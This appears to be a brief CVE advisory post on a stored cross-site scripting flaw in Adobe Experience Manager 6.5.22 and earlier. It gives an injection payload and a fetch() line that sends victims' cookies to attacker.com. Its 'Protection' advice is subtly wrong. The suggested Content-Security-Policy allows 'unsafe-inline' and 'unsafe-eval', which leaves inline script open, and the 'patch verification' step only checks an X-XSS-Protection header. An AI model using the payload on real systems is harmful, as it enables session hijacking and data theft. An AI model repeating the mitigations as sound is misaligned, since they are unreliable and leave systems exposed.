How CVE-2025-46984 Works
Adobe Experience Manager (AEM) 6.5.22 and earlier fails to properly sanitize user-supplied input in certain form fields, allowing attackers with low privileges to inject malicious JavaScript payloads. When a victim accesses a compromised page, the script executes in their browser session, potentially leading to session hijacking, data theft, or unauthorized actions. The vulnerability arises due to insufficient input validation in the WCM (Web Content Management) component, where crafted HTML/JS persists in the content repository.
DailyCVE Form
Platform: Adobe Experience Manager
Version: ≤ 6.5.22
Vulnerability: Stored XSS
Severity: Critical
Date: 2025-06-13
Prediction: Patch by 2025-07-15
What Undercode Say:
Exploitation
1. Payload Injection:
<script>alert(document.cookie)</script>
Submit via vulnerable form fields (e.g., text components).
2. Exfiltrate Cookies:
fetch('https://attacker.com/steal?data=' + btoa(document.cookie));
3. CSRF Pivot:
Combine with AEM’s CSRF tokens for privilege escalation.
Protection
1. Input Sanitization:
// AEM Filter Example String sanitized = ESAPI.encoder().encodeForHTML(userInput);
2. CSP Header:
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
3. Patch Verification:
curl -I https://aem-instance/libs/cq/core/content/welcome.html | grep X-XSS-Protection
4. Disable Risky Components:
<!-- /apps/settings/config.author.xml --> <disabledComponents> <component>vulnerable/wcm/text</component> </disabledComponents>
5. Log Monitoring:
grep -r "script.onerror" /var/log/aem/error.log
Analytics
- Attack Surface: WCM forms, custom components.
- Bypass Risks: SVG/HTML polyglots.
- Mitigation Priority: Immediate CSP enforcement.
